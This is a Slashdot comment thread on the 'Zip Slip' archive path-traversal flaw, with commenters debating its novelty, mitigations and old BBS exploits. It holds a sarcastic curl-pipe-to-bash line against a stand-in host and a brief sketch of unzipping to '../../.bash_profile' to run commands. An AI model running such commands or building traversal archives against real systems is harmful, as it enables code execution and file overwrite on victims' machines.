Slashdot Mirror


Zip Slip Vulnerability Affects Thousands of Projects (theregister.co.uk)

Yhcrana writes: Considering the video in the story makes it pretty simple, this is not something I would like to have happen. Apparently it is a flaw in the libraries that are being used by Oracle, Apache, and others. The Register reports: "Booby-trapped archive files can exploit vulnerabilities in a swath of software to overwrite documents and data elsewhere on a computer's file system -- and potentially execute malicious code. Specifically, the flaws, dubbed "Zip Slip" by its discoverers at security outfit Snyk, is a path traversal flaw that can potentially be exploited to perform arbitrary code execution attacks. It affects .zip, .bz2, .tar, .xz, .war, .cpio, and .7z archives.

The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."

64 of 127 comments (clear)

  1. Holy Moly! This is some seriously creepy sh*t! by Qbertino · · Score: 1

    I'm no security expert and even I get the attack after reading it *once*. Imagine injecting alternative userland components into the OS this way. That no one has thought of this yet along with the Spectre and Meltdown shit that has been going on lately makes me wonder what types of trivial exploits we haven't discovered yet.

    Creepy as fuck, that's for sure.

    Gladly the fix is easy: Default exit before override with an appropriate message. No overriding by unpacking whatsoever. Shouldn't take the devs long to implement that. ... And we just set up 7zip AES256 as the default for critical data transfer that needs to be GDPR compliant at our company last week.

    --
    We suffer more in our imagination than in reality. - Seneca
    1. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 3, Insightful

      You can't overwrite the userland unless you are root/admin. If you are and you are downloading and extracting random archives before even listing their contents you deserve to have your userland replaced.

      What's next in the security news? `curl https://not-an-exploit.ru/script.sh | bash` being dangerous as root?

    2. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 1

      I call bullshit on your being a "security professional".

      Unless you're doing something unaudited as an Admin...how would you "overwrite" parts of the OS?

      Oh...wait...YOU...CANNOT. Sorry...this is some puffery from a wannabe security services firm and you...you are either a shill or an idiot. So...which is it?

    3. Re:Holy Moly! This is some seriously creepy sh*t! by Zontar+The+Mindless · · Score: 4, Insightful

      Or you could simply not decompress archives as root?

      --
      Il n'y a pas de Planet B.
    4. Re:Holy Moly! This is some seriously creepy sh*t! by Narcocide · · Score: 1

      I call bullshit on your being a "security professional".

      What he means is that he's an Oracle admin.

    5. Re:Holy Moly! This is some seriously creepy sh*t! by Narcocide · · Score: 2

      Shhh! They've already thought up the brand name for this hack and if you ruin it for them it will risk sabotaging their upcoming IPO!

    6. Re:Holy Moly! This is some seriously creepy sh*t! by msauve · · Score: 5, Informative

      Oh, people have thought of it. The issue has been known for years. The only thing that's surprising is that there's still software which allows it, which can only be due to incompetence. Heck, here's a security book describing the vector (directory traversal) dating to 1996, and it was known long before then.

      --
      "National Security is the chief cause of national insecurity." - Celine's First Law
    7. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 1

      I'd guess he's a better at computer security than you are at reading and comprehension.

      I'm no security expert and even I get the attack after reading it *once*.

      You are the only one claiming GP is a "security professsional".

    8. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 1

      Posting as AC since I already modded.

      THIS! I don't understand how this is a security flaw. The program works as intended (pretty much). You're unzipping an archive that may overwrite any part of your system. If you don't trust the site you downloaded it from, do it as a user other than root. Hell, do it as another user and then switch to root to do the installation and everything. That's the standard practice.

    9. Re:Holy Moly! This is some seriously creepy sh*t! by darkain · · Score: 1

      "if you don't trust the source" - as if reputable repositories have never been compromised.

    10. Re:Holy Moly! This is some seriously creepy sh*t! by omnichad · · Score: 1

      The default should be that it only unzips under the extraction target path. Optionally, you can preserve destinations outside of that path - with an argument. The default security should be essentially the same as a chroot.

    11. Re:Holy Moly! This is some seriously creepy sh*t! by Zontar+The+Mindless · · Score: 1

      IPO, not ICO? What good are they, then?

      --
      Il n'y a pas de Planet B.
    12. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 1

      Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected.
      output edited for path's, since it breaks /.'s filter otherwise.

      root@testbox:/home/luser# unzip zip-slip.zip
      Archive: zip-slip.zip
        extracting: good.txt
      warning: skipped "../" path component(s) in ../../tmp/evil.txt
        extracting: tmp/evil.txt

      root@testbox:/home/luser# ls /home/luser/tmp/evil.txt

      root@testbox:/home/luser# tar -xvf zip-slip.tar
      good.txt
      tar: Removing leading '../' from member names
      tar: ../../tmp/evil.txt: Member name contains '..'
      tar: Exiting with failure status due to previous errors

    13. Re:Holy Moly! This is some seriously creepy sh*t! by Anonymous Coward · · Score: 1

      If you record the raw sound of a fart you can tarball it but manually set the path to /dev/dsp. Then get people to extract it for the fartball exploit. This was one of may favourite tricks in highschool.

    14. Re:Holy Moly! This is some seriously creepy sh*t! by eneville · · Score: 1

      Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected.
      output edited for path's, since it breaks /.'s filter otherwise.

      This. The libraries that are affected total some thousands, not all projects that use the os tools.

      This is another good reason to use containers/micro services for random bits of software. Compartmentalise things, particularly when dealing with untrusted, dirty uploads.

    15. Re:Holy Moly! This is some seriously creepy sh*t! by Myself · · Score: 1

      Thank you! Yeah, I remember this back in the BBS days. Some boards would unzip uploaded archives to scan them for viruses or duplicate files, and so they were vulnerable to zip-bombs.

      Various strategies could render the attacks moot; I think the common one was to initially run pkunzip to only list the contents of the zip without actually unzipping anything. If none of the known attacks seemed to be present, the file could then be unzipped and its contents scanned as usual. There were other mitigations, like unzipping to a ramdrive, which worked well if the system had enough memory, or to a separate partition on the hard drive, since traversal attacks seemed limited to a single filesystem.

    16. Re:Holy Moly! This is some seriously creepy sh*t! by omnichad · · Score: 1

      The target is provided as an argument to the software (or graphically in the GUI). An absolute path appended to a relative path is just deeper down.

      However, this appears to just use a few "../" in the filenames, which is something that I absolutely would have assumed to be accounted for. What's more worthy of an article is that major software packages don't sanitize this or check the resulting destination against the base path.

  2. I remember this from a quarter century ago by tap · · Score: 5, Interesting

    I used this to hack a WWIV based BBS system around 25 years ago. Heard about it from somewhere. What you did was place a file with a "..\..\" path into the archive and upload it to the BBS files section. The board would automatically unpack it on upload, or maybe you had to invoke a "download a file from inside a zip" feature on it, my memory is hazy on that. But it would unpack the zip, it would overwrite a executable that was part of the BBS software, and then when it ran that your trojan would run.

    Isn't a press release about this kind of like a press release about the concept of buffer overflow exploits?

    1. Re:I remember this from a quarter century ago by prowler1 · · Score: 2

      I know of something similar which happened to a few local BBS's where I lived but the vulnerability was a little different (they ran on Amiga's). Basically, after uploading a file, it would try and extract the file_id.diz file to use to create the file description from. By default, the software just specified the name of the archiver (LHa, LZX, arj, zip etc) and so the software would default to the current working directory which was where the file was saved to. All you had to do was name the file you uploaded to the name of the archiver and it would execute that rather than what it was meant to. The systems which got hit had the RDB nuked and most of the BBS admins thought they lost everything so they formatted their HD's instead of recreating the RDB and really did lose everything.

      This was one of those examples were using absolute filenames was the safe thing to do.

    2. Re:I remember this from a quarter century ago by omnichad · · Score: 1

      No, that's Windows Resource Protection. Windows Defender might show a notice, but you don't have to use it to prevent this at the OS level.

    3. Re:I remember this from a quarter century ago by ashkante · · Score: 2

      Instead, Windows Defender allows you to execute an exploit directly: Hole in Windows Defender You don't even have to be an admin!

    4. Re:I remember this from a quarter century ago by dromgodis · · Score: 1

      Another trick from the dial-up BBS times was to insert a file named "com1:" in the zip archive. When the file was uploaded, the BBS software would unzip the file in order to run a virus scan on the contents before accepting it. The contents of the "com1:" file would then get sent to the modem on com1:.

      The contents were Hayes modem commands that hung up, and then sent DTMF codes to the phone company to redirect the phone number to another number, which happened to be on the other side of the Atlantic. At that time, such calls were really expensive, and this let the attacker log in to BBS:es on other continents at the expense of the local BBS operator.

    5. Re:I remember this from a quarter century ago by AmiMoJo · · Score: 1

      This is what happens when you don't properly sanitize file names.

      The other classic one was to use an ASCII 255 character as a space on DOS. College had a Netware network that ran on top of DOS, and we found we could create files and directories that the admins couldn't delete simply by adding an alt-255 character to the file name, usually at the end so it wasn't obvious. Their file management tools helpfully filtered it out so couldn't delete it either.

      --
      const int one = 65536; (Silvermoon, Texture.cs)
      SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
    6. Re:I remember this from a quarter century ago by khandom08 · · Score: 1

      Man that brings back memories. I ran a "fast" /X (AmiExpress) board back in those days. There used to be some hacker crews that would extort sysops - basically, "pay us protection fee or your BBS could be hacked/formatted next." And I remember wondering years later when ransomware first hit, if any of the authors were from those old hacker crews.

  3. VERY OLD issue by Anonymous Coward · · Score: 1

    I remember this same thing with PKZIP in the BBS days.

    What's old is new again I guess.

  4. Vulnerability? by mentil · · Score: 5, Interesting

    I thought this was standard, expected behavior for archive files?
    Unzip software is supposed to give a prompt that a file is going to be overwritten, to mitigate that.

    --
    Corruption is convincing someone that the selfless ideal is the same as their selfish ideal.
    1. Re:Vulnerability? by quenda · · Score: 1

      In Unix, tar does not allow leading "/" or "../" in paths unless over-ridden with the "--absolute-names" option.
      Is Zip not the same? Seems kind of obvious, but apparently some library writers forgot.

      I'd have thought rather than just looking for such characters in a pathname, the restriction would be enforced by a chroot or other mechanism. No?

    2. Re:Vulnerability? by Narcocide · · Score: 2

      The new way to break into the "security research" market is to brand and report on entry-level system administration pitfalls in an alarmist fashion.

    3. Re:Vulnerability? by msauve · · Score: 2

      Maybe we should go back to using .ARC, it avoided the issue by not supporting directories.

      --
      "National Security is the chief cause of national insecurity." - Celine's First Law
    4. Re:Vulnerability? by AC-x · · Score: 1

      > In Unix, tar does not allow leading "/" or "../" in paths. Is Zip not the same?

      Don't forget that if tar only disallowed leading / and ../ then it would still be insecure, as you could do "newfolder/../../../../etc/" and so on.

    5. Re:Vulnerability? by quenda · · Score: 1

      Well that would be silly. Try re-parsing that sentence in a way than makes more sense. Sorry for the ambiguity.
      Have some parentheses:

      > In Unix, tar does not allow (leading "/") or ("../" in paths) .

    6. Re:Vulnerability? by avij · · Score: 1

      You don't need to be able to overwrite files to cause problems. If you manage to add a new evil.conf file to /etc/httpd/conf.d or /etc/pam.d or /etc/sudoers.d with this exploit, you can do anything you want on the system.

      --

      Follow your Euro bills at EBT
    7. Re:Vulnerability? by thegarbz · · Score: 1

      As pointed out in another thread, the blocking of ../ didn't work and was only very recently (in terms of tar's life) was fixed. tar was vulnerable to this for a good 25 years.

    8. Re:Vulnerability? by dargaud · · Score: 1

      How come nobody noticed ?

      --
      Non-Linux Penguins ?
    9. Re:Vulnerability? by AmiMoJo · · Score: 1

      While in theory it's fine, in practice two things tend to happen.

      1. The user doesn't pay attention and if asked answers "yes, overwrite all" because that's what humans are like.

      2. Automated extraction as part of installers and the like often overwrites everything to ensure re-installs work properly.

      --
      const int one = 65536; (Silvermoon, Texture.cs)
      SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
    10. Re:Vulnerability? by Anonymous Coward · · Score: 1

      Because people skilled enough to use command line tar are skilled enough to do a tar tf first. After having a tarball extract a bunch of junk in your current directory once, every *nix admin learns quickly to do a tar tf first to see if you need to do a mkdir then cd to the new dir before extracting it.

    11. Re:Vulnerability? by thegarbz · · Score: 1

      How come nobody noticed ?

      Do you routinely maliciously attack yourself? Firstly history is full of examples of big gaping security holes that have somehow been present since the early days of the PC, even in open source software. Secondly what's the use case that would generally expose this flaw to get it noticed? And finally, how big is the risk given that you need to ultimately grant permission for someone to use that software using your current user permissions in order to be exposed to a threat, a risk quite low and thus even if there was a problem it is unlikely to be given any priority to be looked into.

      It's the same reason why I don't patch against Spectre on my home machines. If you're in a position to exploit it, I have lost long before you actually start your side channel attack.

  5. Re:archive vs compressor by dgatwood · · Score: 3, Informative

    GNU tar rejects '..' path parts automatically, as does FreeBSD's tar. Does anybody actually still use cpio, other than for extracting the guts of really old OS X installer packages (pre-xar)?

    Either way, I can't quite decide who to blame:

    • App developers for rolling their own code when existing libraries exist.
    • Sun/Oracle for not making it so trivial to integrate C code that nobody would try to write their own implementation for something as ugly as ZIP.
    • Open source and free software advocates for license terms that make people afraid to reuse code that works.
    • Lawyers, because.

    In any case, I don't allow any .Net or Java code anywhere near my computers, so I don't care even slightly. All the C implementations have been secure for decades.

    --

    Check out my sci-fi/humor trilogy at PatriotsBooks.

  6. Re:archive vs compressor by Narcocide · · Score: 2

    Ok, to be fair I'm pretty sure that tar was never fixed and GNU tar was fixed less than a decade ago, but your point still stands as essentially valid.

  7. Re:archive vs compressor by Anonymous Coward · · Score: 1

    Look, neither rpm, not dpkg (.deb) are vulnerable to this kind of crap [nowadays], precisely because path transversal is as old as /tmp races. They might have been, once, but it has long been found and fixed.

    libarchive is one pit of these kind of idiotic security holes, though, but even there it has been fixed (likely several times, it is that bad :p).

  8. This is why by quonset · · Score: 1

    I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.

    Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.

    1. Re:This is why by 110010001000 · · Score: 1

      I think the "exploit" is that you can have a file in there with a path like ../../etc/blah and they will go outside of your "empty directory".

    2. Re:This is why by PPH · · Score: 1

      Only if one unpacks the archive as user root. If I am logged in as some typical user, it's not likely that I have write permission anywhere under /etc. The unpacking process will generate an error and odds are that I'd catch it.

      --
      Have gnu, will travel.
    3. Re:This is why by gnasher719 · · Score: 1

      I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.

      Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.

      The whole idea of this vulnerability is that some tools don't restrict themselves to the folder that you specify, but put files elsewhere - no matter where you say you want your files to go.

    4. Re:This is why by PPH · · Score: 1

      I highly doubt you maintain a separate account for downloading things from the web.

      Why not? Extra user accounts are free on Linux. Do you really think I do my on-line banking in the same user space that I shit-post Slashdot with?

      I send and receive e-mail from separate machines. The receive system can't send e-mail and the sending machines can only pop a copy off the receiver.

      --
      Have gnu, will travel.
  9. Re:archive vs compressor by dgatwood · · Score: 5, Informative

    Holy crap! I just looked at GNU tar's version history. The docs have said that it skips ".." members since IIRC the late 1990s, but apparently it never actually worked, and they just fixed it in 2016!

    *redacted swearing*

    --

    Check out my sci-fi/humor trilogy at PatriotsBooks.

  10. User land == not kernel by raymorris · · Score: 4, Insightful

    User land is everything that's not the kernel.
    All of your personal files? User land.

    I take it you mean:

    Most of the time, you can't overwrite important system files unless:
    1. You're in the administrator group on Windows
    2. You are root on Linux, using a whitelisted program to alter a whitelisted file in a specifically allowed way
    3. You're root and using a 1993 version of Linux
    4. The last time you looked at SELinux was 15 years ago. 15 years ago, it was inconvenient to use, so you've been turning it off ever since.

    1. Re: User land == not kernel by houghi · · Score: 1

      Another: You add sudo before every command when you run Ubuntu.

      --
      Don't fight for your country, if your country does not fight for you.
    2. Re: User land == not kernel by Zero__Kelvin · · Score: 2

      Luckily having your system compromised because you are too lazy to spend the minimal effort involved in learning how to use SELinux isn't inconvenient at all.

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
    3. Re: User land == not kernel by cloudmaster · · Score: 1

      So many people post without having any creativity... Here's a helpful example:

      Unzip to ../../.bash_profile knowing that this is run in $HOME/.programrc/modules/
      Include "sudo runstuff" in new file
      Profit

    4. Re: User land == not kernel by Zero__Kelvin · · Score: 1

      I have done so many times. It is very easy to do if you actually put the effort into learning it, which again, takes minimal time and effort.

      --
      Guns don't kill people; Physics kills people! - John Lithgow as Dick Solomon on Third Rock From The Sun
    5. Re: User land == not kernel by F.Ultra · · Score: 1

      Are you sure that people are actually doing that?

  11. Slow Clap by Quzak · · Score: 1

    Congrats on breaking it, hero.

    --
    Support your local school shooter, give them your firearms.
  12. That's how it works. by waveclaw · · Score: 1

    At first glace I thought this was a joke. This 'overwriting of existing files' is how Zip, tar, Arch, 7zip and really any archive works.

    The problem is real but is at a higher level. It is a classic lack of validating user input. Usually filtering out relative path names is enough (the path foo/bar/../../../../../../../etc/rhosts is not a valid location.). Combined with bad operational practices your application is overwriting /etc/passwd and /etc/shadow while processing my_little_brony_avatar.zip.

    User facing applications, probably running as root, that don't limit their archive unpack to some safe sub-path can overwrite anything. Even if your application is installed to some place (e.g. /opt/vendorname,) locked down to a user and even running with (IMHO bad) SELinux types it can unpack a file and overwrite a library, plugin, configuration file or even the binary for the app itself.

    The article may be a wake up call for the clueless. How many developers never thought about how unpacking an archive actually works?

    For the rest it is a sensational piece based on the idea that open doors do in fact let people walk through them. That is how doors work. It is up to you to close the door and lock it.

    I expect a follow up report about how unpacking a zip file downloaded from your email client can overwrite critical files on your desktop. Maybe call it "Mail Slip." Reserve a domain and a $5/mo AWS host. Use an icon with feral dogs instead of cats this time.

    --

    "You cannot have a General Will unless you have shared experiences. You cannot be fair to people you don't know."
    1. Re:That's how it works. by 110010001000 · · Score: 1

      I don't get it. Where is the lack of validating user input? Why would you filter out foo/var../../../../etc/hosts or whatever? Is there a rule that says that relative path names aren't allowed in archives and archives can only be extracted to subdirectories? Aren't archives supposed to work like they are currently and allow files to be overwritten?

    2. Re:That's how it works. by Zontar+The+Mindless · · Score: 1

      I thought that most programming/scripting languages/APIs had unescape() or decode() sorts of functions for handling just this type of issue...?

      --
      Il n'y a pas de Planet B.
  13. Another lose for Ambient Authority by ka9dgx · · Score: 1

    Ambient Authority, the design flaw underlying most "modern" operating systems, strikes again.

  14. Depends by DrYak · · Score: 1

    - Lots of Linux daemons are designed to drop root privileges and switch to another UID/GID as soon as possible.
      - Some are designed to coordinate with other tools (such as systemd or formelly inetd) that handle root-level actions themselves (like grabbig a low number port and hand an already opened socket), so starting a serivce though those doesn't even require root access to the daemon.

    So as long as a the daemon are well designed and follow such good practices, they won't ever run as root.

    Of course then you have lots of quickly thrown together crap written in the latest high-level scripting language du jour that was quickly packaged together into docker because that language isn't even incorporated into the current stable Linux distros.
    (You know the same kind of software that relying on git-pulling javascript modules from 10'000 different git repos, and completely break because someone decide to retire their string-alignement function)
    Typical authors of such "things" probably won't follow best practice.

    Luckily, the container infrastucture inside the Linux kernel features uid namespaces (and docker uses those).
    So the user root is only root inside the docker, but actually maps to uid 45869 or something similar outside the container.
    This virtualised root user has only admin rights within the container.
    Also docker leverages the capabilties system of the kernel, so those admin rights can only manage a very small subset of things.
    And only very few things are actually offered within a container (eg.: it doesn't have access to the real network, only to a virtual bridge that's not connected to the net. The docker deamon on the host system is in charge in setting up some routing if the container is to have net access).

    So any attack that try to over right files is pretty much limited even if the server process inside insists on not following best preactices and on running as root.
    The daemon can basically wreck itself but that's about it.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re: Depends by reanjr · · Score: 1

      If that daemon is is - say - a PHP server with access to your data, then the fact that the problem is "isolated" to the PHP instance is not very helpful.

      Docker - as it is usually recommended for setup - is not a good fit for production for this reason. It'r possible to make Docker secure, but it's so much work it's usually easier to just not use Docker in production.

  15. So.. am I the only one? by gosand · · Score: 1

    When I am manually un-archiving files, I *always* list out the contents first before actually un-archiving. (tar -tzvf, unzip -l, etc.) And I scan the output for anything that doesn't look right. The main reason I do this is because I have been burned before by assuming the archiver put all the files in a directory instead of just dumping them wherever the archive is located.... then I had to spend time to delete those files by hand to clean things up. But also because I just want to see it before just dumping things onto my machine.

    --

    My beliefs do not require that you agree with them.

  16. Did this with tar files by ctilsie242 · · Score: 1

    Back in the 1990s, it was trivial to compromise a machine by having a tar file with absolute paths in it, so /etc/shadow got overwritten when the admin decided to untar a "sendmail patch" that he or she was given.

    That attack is still valid today. Untar a file as root, there might be a good chance that an absolute path may be in that file.

  17. Bigger than just archives by Chelloveck · · Score: 2

    Holy cats, guys! I've found that this same security hole exists in 'mv'!

    mv evil.txt test/../../Documents/Thesis.odt

    How many programs are affected by this?!!?

    P.S. Anyone know how to undelete a file? Plz let me know before Friday!

    --
    Chelloveck
    I give up on debugging. From now on, SIGSEGV is a feature.
  18. Re:archive vs compressor by F.Ultra · · Score: 1

    Indeed, dpkg was fixed for this in 2010: https://vuldb.com/?id.52167 , couldn't find any relevant CVE for RPM so it was either designed to handle this from start, it was fixed before CVE was a thing or I simply didn't look hard enough. The end result however is the same, nor rpm neither dpkg are vulnerable to this and have not been for years.

  19. Check for the other one! by SuricouRaven · · Score: 2

    There are two great holes in archive formats, traditionally. This is one.

    The other is the 'zipbomb.' An exabyte of file consisting of nothing but 0x00 bytes, all nicely packed down to practically nothing by the compression algorithm. If precautions are not taken, guaranteed to crash your target be exhausting either memory or disk space.